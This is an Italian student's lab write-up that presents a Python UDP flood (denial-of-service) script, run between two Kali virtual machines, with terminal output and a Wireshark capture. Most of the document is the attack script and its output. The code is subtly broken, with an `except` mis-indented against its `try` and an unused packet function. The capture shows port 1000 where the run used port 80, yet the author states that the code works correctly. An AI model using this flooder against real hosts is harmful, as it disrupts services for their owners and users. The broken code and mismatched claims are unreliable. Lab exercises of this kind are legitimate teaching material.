

ESERCIZIO SETTIMANA 7

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'**invio** massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target `input`
- Il programma deve richiedere l'inserimento della porta target `input`
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare `input`

In questo esercizio ho deciso di usare due VM di Kali (una clone e una originale) con IP dinamico.

Quello che segue è il codice Python che servirà ad effettuare l'attacco Dos.

Possiamo vedere che le dimensioni dei pacchetti sono settati su "random", e l'attaccante ha la possibilità di impostare la quantità di pacchetti da mandare in richiesta.

C'è anche possibilità di scegliere verso quale porta mandare la richiesta, poiché la porta UDP si trova tra le porte well known (anche se in questo esercizio non ha rilevanza per l'esito che vogliamo conseguire).

kali-linux-2023.4-virtualbox-amd64 (Istantanea 2) [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

File Edit Options Buffers Tools Python Help

```
import random
import socket

def genera_pacchetto():
    pacchetto = b''
    for i in range(1024):
        pacchetto += random.randint(0, 255).to_bytes(1, byteorder='big')
    return pacchetto

def UDP_flood():
    dati_da_inviare = random._urandom(1024)
    while True:
        indirizzo_ip = input("Inserisci l'indirizzo IP target: ")
        porta = int(input("Inserisci la porta: "))
        numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            target = (indirizzo_ip, porta)
            for x in range(numero_pacchetti):
                s.sendto(dati_da_inviare, target)
                print(f"Pacchetto {x+1} inviato tramite UDP.")
            except Exception as e:
                s.close()
                print("Errore durante l'invio dei pacchetti UDP:", e)

UDP_flood()
```

```
kali-linux-2023.4-virtualbox-amd64 (Istantanea 2) [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
1 2 3 4
kali@kali: ~
File Actions Edit View Help
(kali@kali)-[~]
$ sudo nano ohibo.py
[sudo] password for kali:
(kali@kali)-[~]
$ sudo python ohibo.py
Inserisci l'indirizzo IP target: 192.168.1.211
Inserisci la porta: 80
Inserisci il numero di pacchetti da inviare: 5000
Pacchetto 1 inviato tramite UDP.
Pacchetto 2 inviato tramite UDP.
Pacchetto 3 inviato tramite UDP.
Pacchetto 4 inviato tramite UDP.
```

```
kali-linux-2023.4-virtualbox-amd64 (Istantanea 2) [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
1 2 3 4
kali@kali: ~
File Actions Edit View Help
Pacchetto 3973 inviato tramite UDP.
Pacchetto 3974 inviato tramite UDP.
Pacchetto 3975 inviato tramite UDP.
Pacchetto 3976 inviato tramite UDP.
Pacchetto 3977 inviato tramite UDP.
Pacchetto 3978 inviato tramite UDP.
Pacchetto 3979 inviato tramite UDP.
Pacchetto 3980 inviato tramite UDP.
Pacchetto 3981 inviato tramite UDP.
Pacchetto 3982 inviato tramite UDP.
Pacchetto 3983 inviato tramite UDP.
Pacchetto 3984 inviato tramite UDP.
Pacchetto 3985 inviato tramite UDP.
Pacchetto 3986 inviato tramite UDP.
Pacchetto 3987 inviato tramite UDP.
Pacchetto 3988 inviato tramite UDP.
Pacchetto 3989 inviato tramite UDP.
Pacchetto 3990 inviato tramite UDP.
Pacchetto 3991 inviato tramite UDP.
Pacchetto 3992 inviato tramite UDP.
Pacchetto 3993 inviato tramite UDP.
Pacchetto 3994 inviato tramite UDP.
Pacchetto 3995 inviato tramite UDP.
Pacchetto 3996 inviato tramite UDP.
Pacchetto 3997 inviato tramite UDP.
Pacchetto 3998 inviato tramite UDP.
Pacchetto 3999 inviato tramite UDP.
Pacchetto 4000 inviato tramite UDP.
Inserisci l'indirizzo IP target: 
```

```
*eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Apply a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Length Info
17893 147.748141169 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17894 147.748184295 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17895 147.748231703 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17896 147.748261210 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17897 147.748301246 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17898 147.748324243 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17899 147.748371249 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17900 147.748418565 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17901 147.748446965 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17902 147.748488540 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17903 147.748488599 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17904 147.748530157 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17905 147.748579256 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17906 147.748597883 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17907 147.748656938 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17908 147.748701306 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17909 147.748729495 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17910 147.748783417 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17911 147.748812208 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17912 147.748857876 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17913 147.748901823 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17914 147.748965562 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17915 147.748991092 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17916 147.749042684 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
17917 147.749073723 192.168.1.58 192.168.1.211 UDP 1066 54901 → 1000 Len=1024
```

Nota: per qualche motivo, a prescindere dalla quantità di pacchetti inviati non sembra essere possibile “buttare giù” il sistema.

Detto questo, il codice funziona in modo corretto, e Wireshark percepisce correttamente anche le richieste UDP inviate sul sistema attaccato.